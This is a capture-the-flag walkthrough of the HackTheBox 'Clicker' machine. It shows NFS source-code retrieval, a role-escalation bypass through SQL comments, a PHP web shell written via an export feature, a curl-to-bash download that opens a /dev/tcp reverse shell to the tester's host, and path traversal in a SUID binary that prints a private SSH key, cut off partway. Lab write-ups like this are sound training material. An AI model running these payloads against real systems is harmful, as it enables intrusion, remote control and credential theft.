Machine: Clicker
Difficulty: Medium
Platform: HackTheBox
Release: Released on 09/23/2023
About Clicker
Clicker is a medium-difficulty machine on HackTheBox. Firstly, we will exploit an NFS share to obtain the source code of a website. After reading the source code, we noticed that we could perform a mass assignment attack on the website to gain admin privileges.
Shell as www-data
With admin privileges, we can extract information about the TOP players of the website. The POST request allows us to change the file extension to PHP, and by exploiting the same Mass Assignment Attack mentioned earlier, we modify our username to a PHP web shell.
Shell as jack
While searching for Set-UID files on the system, we come across a Set-UID file owned by Jack. Using reverse engineering methods, we identify a file read vulnerability that allows us to obtain Jack's SSH private key.
Shell as root
As Jack, we have sudo privileges that allow us to execute a bash script as root. The sudo privilege includes the SETENV attribute, enabling us to specify a malicious PRELOAD library through the LD_PRELOAD variable, thus achieving execution as root.
Recon
To initiate the exploitation process, we need to identify the open ports on the target machine. Keep in mind that services are accessible through ports, making it crucial to ascertain their status. For conducting this scan, I will utilize the
nmap
tool:elswix@kali$ nmap -p- --open --min-rate 10000 -n -v 10.10.11.232
Nmap scan report for 10.10.11.232
Host is up (0.15s latency).
Not shown: 62052 closed tcp ports (conn-refused), 3474 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
111/tcp open rpcbind
2049/tcp open nfs
37355/tcp open unknown
41471/tcp open unknown
45273/tcp open unknown
54267/tcp open unknown
56705/tcp open unknown
nmap
:elswix@kali$ nmap -sCV -p22,80,111,2049,37355,41471,45273,54267,56705 10.10.11.232 -oN fullScan
Nmap scan report for 10.10.11.232 (10.10.11.232)
Host is up (0.27s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 89:d7:39:34:58:a0:ea:a1:db:c1:3d:14:ec:5d:5a:92 (ECDSA)
|_ 256 b4:da:8d:af:65:9c:bb:f0:71:d5:13:50:ed:d8:11:30 (ED25519)
80/tcp open http Apache httpd 2.4.52 ((Ubuntu))
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Did not follow redirect to http://clicker.htb/
111/tcp open rpcbind 2-4 (RPC #100000)
|_rpcinfo: ERROR: Script execution failed (use -d to debug)
2049/tcp open nfs 3-4 (RPC #100003)
37355/tcp open mountd 1-3 (RPC #100005)
41471/tcp open nlockmgr 1-4 (RPC #100021)
45273/tcp open status 1 (RPC #100024)
54267/tcp open mountd 1-3 (RPC #100005)
56705/tcp open mountd 1-3 (RPC #100005)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Web Application - Port 80
As we've seen in the nmap report, the port 80 belongs to an HTTP service. Before accessing the website through my browser, I will utilize
whatweb
to obtain information about the page:elswix@kali$ whatweb -a 3 10.10.11.232
http://10.10.11.232 [302 Found] Apache[2.4.52], Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][Apache/2.4.52 (Ubuntu)], IP[10.10.11.232], RedirectLocation[http://clicker.htb/]
ERROR Opening: http://clicker.htb/ - no address for clicker.htb
clicker.htb
. Since it does not know the IP address pointed to by this domain, it cannot resolve it. To deal with this problem, we have to add the domain to our /etc/hosts
file, making it point to the IP address of the machine.elswix@kali$ cat /etc/hosts
127.0.0.1 localhost
127.0.1.1 kali.localhost kali
# The following lines are desirable for IPv6 capable hosts
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
# HackTheBox
10.10.11.232 clicker.htb
whatweb
again:elswix@kali$ whatweb -a 3 10.10.11.232
http://10.10.11.232 [302 Found] Apache[2.4.52], Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][Apache/2.4.52 (Ubuntu)], IP[10.10.11.232], RedirectLocation[http://clicker.htb/]
http://clicker.htb/ [200 OK] Apache[2.4.52], Bootstrap, Cookies[PHPSESSID], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.52 (Ubuntu)], IP[10.10.11.232], Title[Clicker - The Game]
When accessing the website via our browser, we encounter the following content:

There is an information section:

Here we can highlight three users:
ButtonLover99
, Paol
, and Th3Br0
.There is also a login section:

I've tried the most common credentials, such as
admin:admin
and guest:guest
, but they didn't work. I also attempted using the users we found as credentials, but it didn't work either.When entering wrong credentials, this message is displayed:

Looking at the URL, I realized that I can specify any message I want using the
?err=
parameter.http://clicker.htb/login.php?err=elswix

As any data I enter in this parameter is displayed in the response, I have tried to enter an XSS payload:
http://clicker.htb/login.php?err=<script>alert(1)</script>

It works, but at this point, it isn't useful.
There is also a
register
section:
When specifying new credentials, it displays the following message:

When using these credentials in the
login
section, they work.
While inspecting the requests made during the creation and login of an account, we come across new files:

When creating a new account, our data is transmitted to
create_player.php
, and during the sign-in process, our data is sent to authenticate.php
.Once we successfully log in, we can access the
profile
section:
The displayed information includes my username, clicks, and level. It appears that this website functions as an online video game with points and levels.
There is also a
play
section, where we see the following content:
Here is the video game, and we can play it. When clicking on
Save and close
, the following request is made:
I entered the following values into the
clicks
and level
parameters and re-sent the request./save_game.php?clicks=999999&level=999999
Game has been saved!

Upon accessing the
profile
section, I noticed that the values had changed this time.I have concluded that, by saving the game, I am interacting with and passing values to columns in a database. This process could potentially be vulnerable to a Mass Assignment attack as well.
NFS - Port 2049
The port 2049 belongs to the NFS service. NFS, or Network File System, is a distributed file system protocol that allows a user on a client computer to access files over a computer network much like local storage is accessed. It enables the sharing of files and directories between systems as if they were part of the same local file system. NFS is commonly used in Unix and Linux environments for networked file sharing.
It is similar to SMB but is commonly used in Linux environments.
Various tools can be employed for enumerating this service, and HackTricks also provides information on how to enumerate it.
To identify which resources the service is exposing, you can use
showmount
:elswix@kali$ showmount -e 10.10.11.232
Export list for 10.10.11.232:
/mnt/backups *
/mnt/backups
folder of the victim file system. We can try to mount it on our machine to access its files.elswix@kali$ sudo mkdir -m 755 /mnt/mount
elswix@kali$ sudo mount -t nfs 10.10.11.232:/mnt/backups /mnt/mount
elswix@kali$ ls /mnt/mount
clicker.htb_backup.zip
clicker.htb_backup.zip
. I will copy it to my working directory:elswix@kali$ cp /mnt/mount/clicker.htb_backup.zip .
7z
:elswix@kali$ 7z l clicker.htb_backup.zip
--
Path = clicker.htb_backup.zip
Type = zip
Physical Size = 2284115
Date Time Attr Size Compressed Name
------------------- ----- ------------ ------------ ------------------------
2023-09-01 17:21:41 D.... 0 0 clicker.htb
2023-09-01 17:17:55 ..... 3341 1190 clicker.htb/play.php
2023-09-01 17:17:55 ..... 3070 1219 clicker.htb/profile.php
2023-09-01 17:17:56 ..... 608 298 clicker.htb/authenticate.php
2023-09-01 17:17:56 ..... 541 276 clicker.htb/create_player.php
2023-09-01 17:17:56 ..... 74 62 clicker.htb/logout.php
2023-02-28 07:04:03 D.... 0 0 clicker.htb/assets
2023-02-28 07:02:26 ..... 1548311 1538698 clicker.htb/assets/background.png
2023-02-23 07:49:43 ..... 733 336 clicker.htb/assets/cover.css
2023-02-25 08:20:21 ..... 10912 7189 clicker.htb/assets/cursor.png
2019-02-13 11:47:50 D.... 0 0 clicker.htb/assets/js
2019-02-13 11:47:50 ..... 250568 58224 clicker.htb/assets/js/bootstrap.js.map
2019-02-13 11:47:50 ..... 311949 81519 clicker.htb/assets/js/bootstrap.bundle.min.js.map
2019-02-13 11:47:50 ..... 190253 46005 clicker.htb/assets/js/bootstrap.min.js.map
2019-02-13 11:47:50 ..... 78635 22247 clicker.htb/assets/js/bootstrap.bundle.min.js
2019-02-13 11:47:50 ..... 58072 15377 clicker.htb/assets/js/bootstrap.min.js
2019-02-13 11:47:50 ..... 222911 47855 clicker.htb/assets/js/bootstrap.bundle.js
2019-02-13 11:47:50 ..... 402249 91514 clicker.htb/assets/js/bootstrap.bundle.js.map
2019-02-13 11:47:50 ..... 131637 24986 clicker.htb/assets/js/bootstrap.js
2019-02-13 11:47:50 D.... 0 0 clicker.htb/assets/css
2019-02-13 11:47:50 ..... 4021 1593 clicker.htb/assets/css/bootstrap-reboot.min.css
2019-02-13 11:47:50 ..... 4897 1700 clicker.htb/assets/css/bootstrap-reboot.css
2019-02-13 11:47:50 ..... 32461 8024 clicker.htb/assets/css/bootstrap-reboot.min.css.map
2019-02-13 11:47:50 ..... 625953 101514 clicker.htb/assets/css/bootstrap.min.css.map
2019-02-13 11:47:50 ..... 492048 97754 clicker.htb/assets/css/bootstrap.css.map
2019-02-13 11:47:50 ..... 64548 6881 clicker.htb/assets/css/bootstrap-grid.css
2019-02-13 11:47:50 ..... 108539 13917 clicker.htb/assets/css/bootstrap-grid.min.css.map
2019-02-13 11:47:50 ..... 48488 6007 clicker.htb/assets/css/bootstrap-grid.min.css
2019-02-13 11:47:50 ..... 155758 23142 clicker.htb/assets/css/bootstrap.min.css
2019-02-13 11:47:50 ..... 151749 26663 clicker.htb/assets/css/bootstrap-grid.css.map
2019-02-13 11:47:50 ..... 192348 25422 clicker.htb/assets/css/bootstrap.css
2019-02-13 11:47:50 ..... 76483 16865 clicker.htb/assets/css/bootstrap-reboot.css.map
2023-09-01 17:18:04 ..... 3301 1345 clicker.htb/login.php
2023-09-01 17:18:05 ..... 3934 1500 clicker.htb/admin.php
2023-09-01 17:18:05 ..... 3423 1348 clicker.htb/info.php
2023-09-01 17:18:05 ..... 1376 675 clicker.htb/diagnostic.php
2023-09-01 17:18:05 ..... 563 349 clicker.htb/save_game.php
2023-09-01 17:18:06 ..... 3333 1353 clicker.htb/register.php
2023-09-01 17:18:06 ..... 3887 1409 clicker.htb/index.php
2023-09-01 17:18:06 ..... 2536 823 clicker.htb/db_utils.php
2023-09-01 17:18:06 D.... 0 0 clicker.htb/exports
2023-09-01 17:18:07 ..... 1977 694 clicker.htb/export.php
------------------- ----- ------------ ------------ ------------------------
2023-09-01 17:21:41 5195487 2275973 37 files, 5 folders
We can extract the ZIP content using
7z
:elswix@kali$ 7z x clicker.htb_backup.zip
7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=C.UTF-8,Utf16=on,HugeFiles=on,64 bits,4 CPUs AMD A8-7600 Radeon R7, 10 Compute Cores 4C+6G (630F01),ASM,AES-NI)
Scanning the drive for archives:
1 file, 2284115 bytes (2231 KiB)
Extracting archive: clicker.htb_backup.zip
--
Path = clicker.htb_backup.zip
Type = zip
Physical Size = 2284115
Everything is Ok
Folders: 5
Files: 37
Size: 5195487
Compressed: 2284115
roles
are being used. This means that there are Administrator
privileges in the page. For example, when looking at the admin.php
file source code, we encounter the following lines:<?php
session_start();
include_once("db_utils.php");
if ($_SESSION["ROLE"] != "Admin") {
header('Location: /index.php');
die;
}
......
......
......
?>
ROLE
is not equal to "Admin". If the condition is true, it redirects the user to /index.php
.Examining the
create_new_player
function in the db_utils.php
file, we observed that when a user is registered, the ROLE
column is set to User
.<?php
function create_new_player($player, $password) {
global $pdo;
$params = ["player"=>$player, "password"=>hash("sha256", $password)];
$stmt = $pdo->prepare("INSERT INTO players(username, nickname, password, role, clicks, level) VALUES (:player,:player,:password,'User',0,0)");
$stmt->execute($params);
}
?>
<?php
$db_server="localhost";
$db_username="clicker_db_user";
$db_password="clicker_db_password";
$db_name="clicker";
?>
save_game.php
file, we can see how we were able to change the clicks and level values:<?php
session_start();
include_once("db_utils.php");
if (isset($_SESSION['PLAYER']) && $_SESSION['PLAYER'] != "") {
$args = [];
foreach($_GET as $key=>$value) {
if (strtolower($key) === 'role') {
// prevent malicious users to modify role
header('Location: /index.php?err=Malicious activity detected!');
die;
}
$args[$key] = $value;
}
save_profile($_SESSION['PLAYER'], $_GET);
// update session info
$_SESSION['CLICKS'] = $_GET['clicks'];
$_SESSION['LEVEL'] = $_GET['level'];
header('Location: /index.php?msg=Game has been saved!');
}
?>
foreach
loop to iterate through each parameter passed via the GET method. It verifies if the parameter passed through the GET method is equal to role
, thereby preventing potential exploitation of the database interaction to modify our role.In the event that the GET parameters are not equal to
role
, the save_profile
function is called, passing the player name along with the GET parameters and their values as arguments.The
save_profile
function is defined in the db_utils.php
file and is comprised of the following instructions:<?php
function save_profile($player, $args) {
global $pdo;
$params = ["player"=>$player];
$setStr = "";
foreach ($args as $key => $value) {
$setStr .= $key . "=" . $pdo->quote($value) . ",";
}
$setStr = rtrim($setStr, ",");
$stmt = $pdo->prepare("UPDATE players SET $setStr WHERE username = :player");
$stmt -> execute($params);
}
?>
Mass Assignment Attack - Abusing SQL Comments
Since the
save_game.php
is preventing us from specifying the word role
as a GET parameter, we cannot modify our role to Admin
. However, we can use SQL comments to bypass the validation. Since parameters are passed to an SQL query, the comments won't be interpreted in the query, enabling us to modify the role
value.Let me clarify this. In SQL, the following expressions are equivalent:
role=Admin
role/**/=Admin
save_profile
function.Let's test this. I will make the following request:
GET /save_game.php?clicks=999999&level=999999&role/**/=Admin
/**/
characters to avoid errors:
I got the following response:

It appears to have worked. Initially, when loading the
/index.php
page, there were no immediate changes. However, after logging out and signing in again, the modifications became apparent.
It worked properly, we successfully modified the
ROLE
attribute of our account.
Shell as www-data
As admins, now we can access the
/admin.php
section:
Here, you can observe the top players on the page. Additionally, there is an "Export" button.
When clicking on it, the following request is made:

And we see the following message in the response:

When accessing to
exports/top_players_1smeg5dz.txt
, the following information is displayed:
Upon examining the request, I found interesting the
extension
parameter:
Let's see what happens if I change it to
elswix
:
We got a similiar response. This time the message returned gives us the path to a new file:
exports/top_players_8je0i15v.elswix

The "extension" parameter specifies the extension of the exported file. Upon inspecting the file content, we observed that it corresponds to the data from the database. If we can manipulate the database (by exploiting the
save_profile
function) and control the extension of the exported file, we might be able to write a PHP file with malicious content.The values recorded in the exported file include the nickname, clicks, and level. I plan to modify the
nickname
column, as the other columns appear to store integer values.This will be the request to the
save_profile.php
file:GET /save_game.php?clicks=999999&level=999999&nickname=<?php phpinfo(); ?>
<?php phpinfo(); ?>
. I URL-Encoded the payload to avoid errors:

Before utilizing the export function, I will log in again.
Now I will use the export function passing
php
as the extension value:
The response provides us a route to the exported file with the PHP extension:

When loading the PHP file, our new nickname was interpreted:

There are not disabled functions:

This implies that we can leverage functions such as
system()
, shell_exec()
, popen()
, etc., enabling us to achieve Remote Code Execution (RCE) on the victim machine.I will use the
shell_exec
function to get a webshell. This will be the request to the save_profile.php
section:GET /save_game.php?clicks=999999&level=999999&nickname=<?php echo shell_exec($_GET['cmd']); ?>

Before utilizing the export function, I will log in again.
Now I will use the export function passing
php
as the extension value:
Once again, the response provides us a route to the exported file with the php extension:

When accessing the new php file, we will see the following content:

Nothing is being displayed; let's try to add the
cmd
GET parameter and specify id
:
Finally, we have achieved Remote Code Execution (RCE) on the victim machine.
To gain access to the system, I will start a reverse shell with bash. Firstly I will create a malicious index.html file with the following content:
elswix@kali$ cat index.html
#!/bin/bash
bash -i >& /dev/tcp/10.10.16.5/3001 0>&1
elswix@kali$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
elswix@kali$ nc -lvnp 3001
Ncat: Version 7.94SVN ( https://nmap.org/ncat )
Ncat: Listening on [::]:3001
Ncat: Listening on 0.0.0.0:3001
curl 10.10.16.5|bash
on the victim machine:elswix@kali$ curl -s 'http://clicker.htb/exports/top_players_huvidmb5.php?cmd=curl%2010.10.16.5|bash'
elswix@kali$ nc -lvnp 3001
Ncat: Version 7.94SVN ( https://nmap.org/ncat )
Ncat: Listening on [::]:3001
Ncat: Listening on 0.0.0.0:3001
Ncat: Connection from 10.10.11.232:44660.
bash: cannot set terminal process group (1212): Inappropriate ioctl for device
bash: no job control in this shell
www-data@clicker:/var/www/clicker.htb/exports$
www-data@clicker:/var/www/clicker.htb/exports$ script /dev/null -c bash
script /dev/null -c bash
Script started, output log file is '/dev/null'.
www-data@clicker:/var/www/clicker.htb/exports$ ^Z
zsh: suspended nc -lvnp 3001
elswix@kali$ stty raw -echo;fg
[1] + continued nc -lvnp 3001
reset
reset: unknown terminal type unknown
Terminal type? xterm
www-data@clicker:/var/www/clicker.htb/exports$ export TERM=xterm
www-data@clicker:/var/www/clicker.htb/exports$ export SHELL=/bin/bash
www-data@clicker:/var/www/clicker.htb/exports$
Shell as jack
As
www-data
, we don't belong to any interesting group:www-data@clicker:/var/www/clicker.htb$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@clicker:/var/www/clicker.htb$
www-data@clicker:/var/www/clicker.htb$ find / -perm -4000 2>/dev/null
/usr/bin/sudo
/usr/bin/chsh
/usr/bin/gpasswd
/usr/bin/fusermount3
/usr/bin/su
/usr/bin/umount
/usr/bin/newgrp
/usr/bin/chfn
/usr/bin/passwd
/usr/bin/mount
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/libexec/polkit-agent-helper-1
/usr/sbin/mount.nfs
/opt/manage/execute_query
www-data@clicker:/var/www/clicker.htb$
execute_query
binary, located in the /opt
directory, as a potential path for privilege escalation.Upon checking its privileges, I noticed that
Jack
owns this binary:www-data@clicker:/var/www/clicker.htb$ ls -l /opt/manage/execute_query
-rwsrwsr-x 1 jack jack 16368 Feb 26 2023 /opt/manage/execute_query
www-data@clicker:/var/www/clicker.htb$
A Set-UID (Set User ID) binary is a program executable in Unix and Unix-like operating systems that has special permissions. When a user executes a Set-UID binary, the program runs with the effective user ID (EUID) of the binary's owner rather than the user who launched it. This allows ordinary users to perform certain privileged operations that typically only the owner of the binary (often a system administrator) would be allowed to do.
When launching it, the following output was returned:
www-data@clicker:/var/www/clicker.htb$ /opt/manage/execute_query
ERROR: not enough arguments
www-data@clicker:/var/www/clicker.htb$
/opt
directory I found a bash script owned by root:www-data@clicker:/var/www/clicker.htb$ cd /opt
www-data@clicker:/opt$ ls
manage monitor.sh
www-data@clicker:/opt$
The
manage
directory also has a README.txt
file in it:www-data@clicker:/opt$ ls -l manage
total 20
-rw-rw-r-- 1 jack jack 256 Jul 21 2023 README.txt
-rwsrwsr-x 1 jack jack 16368 Feb 26 2023 execute_query
www-data@clicker:/opt$
README.txt
file explains how to use the binary:www-data@clicker:/opt/manage$ cat README.txt
Web application Management
Use the binary to execute the following task:
- 1: Creates the database structure and adds user admin
- 2: Creates fake players (better not tell anyone)
- 3: Resets the admin password
- 4: Deletes all users except the admin
www-data@clicker:/opt/manage$
1
as parameter:www-data@clicker:/opt/manage$ ./execute_query 1
mysql: [Warning] Using a password on the command line interface can be insecure.
--------------
CREATE TABLE IF NOT EXISTS players(username varchar(255), nickname varchar(255), password varchar(255), role varchar(255), clicks bigint, level int, PRIMARY KEY (username))
--------------
--------------
INSERT INTO players (username, nickname, password, role, clicks, level)
VALUES ('admin', 'admin', 'ec9407f758dbed2ac510cac18f67056de100b1890f5bd8027ee496cc250e3f82', 'Admin', 999999999999999999, 999999999)
ON DUPLICATE KEY UPDATE username=username
--------------
www-data@clicker:/opt/manage$
mysql: [Warning] Using a password on the command line interface can be insecure.
Upon examining the printable characters of the binary, it is evident that the
system()
function is called within this binary:www-data@clicker:/opt/manage$ strings execute_query | grep system
system
system@GLIBC_2.2.5
www-data@clicker:/opt/manage$
strace
(to gather information about the behavior of the program), we can observe the following:www-data@clicker:/opt/manage$ strace ./execute_query 1
execve("./execute_query", ["./execute_query", "1"], 0x7ffda0cccc78 /* 20 vars */) = 0
access("/etc/suid-debug", F_OK) = -1 ENOENT (No such file or directory)
brk(NULL) = 0x562205129000
arch_prctl(0x3001 /* ARCH_??? */, 0x7ffca0a4bba0) = -1 EINVAL (Invalid argument)
fcntl(0, F_GETFD) = 0
fcntl(1, F_GETFD) = 0
fcntl(2, F_GETFD) = 0
access("/etc/suid-debug", F_OK) = -1 ENOENT (No such file or directory)
mmap(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f920b2d9000
access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
newfstatat(3, "", {st_mode=S_IFREG|0644, st_size=21007, ...}, AT_EMPTY_PATH) = 0
mmap(NULL, 21007, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7f920b2d3000
close(3) = 0
openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libc.so.6", O_RDONLY|O_CLOEXEC) = 3
read(3, "\177ELF\2\1\1\3\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0P\237\2\0\0\0\0\0"..., 832) = 832
pread64(3, "\6\0\0\0\4\0\0\0@\0\0\0\0\0\0\0@\0\0\0\0\0\0\0@\0\0\0\0\0\0\0"..., 784, 64) = 784
pread64(3, "\4\0\0\0 \0\0\0\5\0\0\0GNU\0\2\0\0\300\4\0\0\0\3\0\0\0\0\0\0\0"..., 48, 848) = 48
pread64(3, "\4\0\0\0\24\0\0\0\3\0\0\0GNU\0\"\233}\305\t\5?\344\337^)\350b\231\21\360"..., 68, 896) = 68
newfstatat(3, "", {st_mode=S_IFREG|0755, st_size=2216304, ...}, AT_EMPTY_PATH) = 0
pread64(3, "\6\0\0\0\4\0\0\0@\0\0\0\0\0\0\0@\0\0\0\0\0\0\0@\0\0\0\0\0\0\0"..., 784, 64) = 784
mmap(NULL, 2260560, PROT_READ, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7f920b0ab000
mmap(0x7f920b0d3000, 1658880, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x28000) = 0x7f920b0d3000
mmap(0x7f920b268000, 360448, PROT_READ, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1bd000) = 0x7f920b268000
mmap(0x7f920b2c0000, 24576, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x214000) = 0x7f920b2c0000
mmap(0x7f920b2c6000, 52816, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x7f920b2c6000
close(3) = 0
mmap(NULL, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f920b0a8000
arch_prctl(ARCH_SET_FS, 0x7f920b0a8740) = 0
set_tid_address(0x7f920b0a8a10) = 1557
set_robust_list(0x7f920b0a8a20, 24) = 0
rseq(0x7f920b0a90e0, 0x20, 0, 0x53053053) = 0
mprotect(0x7f920b2c0000, 16384, PROT_READ) = 0
mprotect(0x562204d99000, 4096, PROT_READ) = 0
mprotect(0x7f920b313000, 8192, PROT_READ) = 0
prlimit64(0, RLIMIT_STACK, NULL, {rlim_cur=8192*1024, rlim_max=RLIM64_INFINITY}) = 0
munmap(0x7f920b2d3000, 21007) = 0
getrandom("\x51\xc6\xfc\x1d\x49\xaf\x45\xd6", 8, GRND_NONBLOCK) = 8
brk(NULL) = 0x562205129000
brk(0x56220514a000) = 0x56220514a000
setreuid(1000, 1000) = -1 EPERM (Operation not permitted)
access("/home/jack/queries/create.sql", R_OK) = -1 EACCES (Permission denied)
newfstatat(1, "", {st_mode=S_IFCHR|0620, st_rdev=makedev(0x88, 0), ...}, AT_EMPTY_PATH) = 0
write(1, "File not readable or not found\n", 31File not readable or not found
) = 31
exit_group(0) = ?
+++ exited with 0 +++
www-data@clicker:/opt/manage$
create.sql
, which is located in /home/jack/queries
.I was able to exploit this binary without using reverse engineering methods or tools like
ghidra
. However, for the write-up, I will explain how the binary works.Let's launch Ghidra and analyze this binary on my local machine:

Firstly, it checks whether the program is executed with arguments:

In the event that we execute the program with an argument, this happens:

Firstly, it is defining the
iVar1
variable with the content of the first argument specified in the command line.Then, the code dynamically allocates memory for a block of 20 bytes (0x14 in hexadecimal) using the
calloc
function. The allocated memory is initialized to zeros. The pointer pcVar3
points to the first byte of this newly assigned memory.Upon reaching the
switch()
statement, it examines the content of the first argument (stored in the iVar1
variable).If the first argument equals
1
, the following events occur:The
strncpy
function is used to copy a specified number of characters from one string to another.strncpy(pcVar3, "create.sql", 0x14);
pcVar3
: This is a pointer to the destination buffer where the characters will be copied."create.sql"
: This is the source string from which characters will be copied.0x14
: This is the maximum number of characters to be copied.
pcVar3
. It will copy up to 0x14 (20 in decimal) characters. If the source string is shorter than 20 characters, the remaining space in the destination buffer will be filled with null characters ('\0').The code for cases 1, 2, 3, and 4 is similar. Let's examine what happens in the default case:
strncpy(pcVar3,*(char **)(param_2 + 0x10),0x14);
pcVar3
, which points to the block of 20 bytes defined using the calloc
function. It's crucial to note that the second parameter must not exceed 20 bytes in length.
It was a little challenging to comprehend this code due to the strings not being in plaintext. Essentially, the values of three variables, namely
local_98
, local_90
, and local_88
, correspond to the string /home/jack/queries/
.In summary, this code concatenates the string stored in the
pcVar3
variable with the /home/jack/queries
string and stores the resulting string in the __dest
variable. Subsequently, it uses the setreuid()
function to set both the RUID (Real User Identifier) and EUID (Effective User Identifier) to 1000 (associated with user Jack
). Finally, it checks if the file (whose location is stored in the __dest
variable) is readable using the access()
function. The value 4
corresponds to read privileges.In the event that the file is readable, this happens:

Once again, the strings are not in plain text, but these variables belong to the following command:
/usr/bin/mysql -u clicker_db_user --password='clicker_db_password' clicker -v <
local_78
(the MySQL command) using the strlen
function and stores the result in sVar4
.Calculates the length of the string pointed to by
pcVar3
using the strlen
function and stores the result in sVar5
.Dynamically allocates memory for a new string (
pcVar3
) with a size that is the sum of the lengths of local_78
and __dest
, plus 1 (for the null character at the end).Concatenates the string
local_78
at the beginning of the string pcVar3
using the strcat
function.Concatenates the string
__dest
at the end of the string pcVar3
using the strcat
function.Executes the command specified by the string
pcVar3
using the system
function.This implies that the content of the file is passed to the SQL query executed in the system command. As we have seen previously, in the default case, we could specify any file we want. The issue arises when our string entered in the second argument is concatenated with the string
/home/jack/queries/
. Nonetheless, this is not a problem as we can leverage Directory Path Traversal to navigate back through directories. Although the 20-byte limitation makes exploitation more challenging, we can attempt to move back one directory and read the .ssh/id_rsa
file. This endeavor could grant us access as Jack
through SSH.Given that MySQL is executed with the
-v
parameter, the file content will be visible in the output of the command. It's crucial to note that without this parameter, the described approach may not work as expected. That's why we observe the following output when launching the program and specifying 1
as a parameter:www-data@clicker:/opt/manage$ ./execute_query 1
mysql: [Warning] Using a password on the command line interface can be insecure.
--------------
CREATE TABLE IF NOT EXISTS players(username varchar(255), nickname varchar(255), password varchar(255), role varchar(255), clicks bigint, level int, PRIMARY KEY (username))
--------------
--------------
INSERT INTO players (username, nickname, password, role, clicks, level)
VALUES ('admin', 'admin', 'ec9407f758dbed2ac510cac18f67056de100b1890f5bd8027ee496cc250e3f82', 'Admin', 999999999999999999, 999999999)
ON DUPLICATE KEY UPDATE username=username
--------------
www-data@clicker:/opt/manage$
create.sql
file, as we have seen in the source code.Let's attempt to read the
id_rsa
key of Jack
. Firstly, we need to specify any number different from 0, 1, 2, 3, or 4, as these correspond to cases in the switch statement in the program. We can pass 5
as the first argument and ../.ssh/id_rsa
as the second argument:www-data@clicker:/opt/manage$ ./execute_query 5 '../.ssh/id_rsa'
mysql: [Warning] Using a password on the command line interface can be insecure.
--------------
-----BEGIN OPENSSH PRIVATE KEY---
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAs4eQaWHe45iGSieDHbraAYgQdMwlMGPt50KmMUAvWgAV2zlP8/1Y
J/tSzgoR9Fko8I1UpLnHCLz2Ezsb/MrLCe8nG5TlbJrrQ4HcqnS4TKN7DZ7XW0bup3ayy1
kAAZ9Uot6ep/ekM8E+7/39VZ5fe1FwZj4iRKI+g/BVQFclsgK02B594GkOz33P/Zzte2jV
Tgmy3+htPE5My31i2lXh6XWfepiBOjG+mQDg2OySAphbO1SbMisowP1aSexKMh7Ir6IlPu
nuw3l/luyvRGDN8fyumTeIXVAdPfOqMqTOVECo7hAoY+uYWKfiHxOX4fo+/fNwdcfctBUm
pr5Nxx0GCH1wLnHsbx+/oBkPzxuzd+BcGNZp7FP8cn+dEFz2ty8Ls0Mr+XW5ofivEwr3+e
30OgtpL6QhO2eLiZVrIXOHiPzW49emv4xhuoPF3E/5CA6akeQbbGAppTi+EBG9Lhr04c9E
2uCSLPiZqHiViArcUbbXxWMX2NPSJzDsQ4xeYqFtAAAFiO2Fee3thXntAAAAB3NzaC1yc2
EAAAGBALOHkGlh3uOYhkongx262gGIEHTMJTBj7edCpjFAL1oAFds5T/P9WCf7Us4KEfRZ
KPCNVKS5xwi89hM7G/zKywnvJxuU5Wya60OB3Kp0uEyjew2e11tG7qd2sstZAAGfVKLenq
f3pDPBPu/9/VWeX3tRcGY+IkSiPoPwVUBXJbICtNgefeBpDs99z/2c7Xto1U4Jst/obTxO
TMt9YtpV4el1n3qYgToxvpkA4NjskgKYWztUmzIrKMD9WknsSjIeyK+iJT7p7sN5f5bsr0
RgzfH8rpk3iF1QHT3zqjKkzlRAqO4QKGPrmFin4h8Tl+H6Pv3zcHXH3LQVJqa+TccdBgh9
cC5x7G8fv6AZD88bs3fgXBjWaexT/HJ/nRBc9rcvC7NDK/l1uaH4rxMK9/nt9DoLaS+kIT
tni4mVayFzh4j81uPXpr+MYbqDxdxP+QgOmpHkG2xgKaU4vhARvS4a9OHPRNrgkiz4mah4
lYgK3FG218VjF9jT0icw7EOMXmKhbQAAAAMBAAEAAAGACLYPP83L7uc7vOVl609hvKlJgy
FUvKBcrtgBEGq44XkXlmeVhZVJbcc4IV9Dt8OLxQBWlxecnMPufMhld0Kvz2+XSjNTXo21
1LS8bFj1iGJ2WhbXBErQ0bdkvZE3+twsUyrSL/xIL2q1DxgX7sucfnNZLNze9M2akvRabq
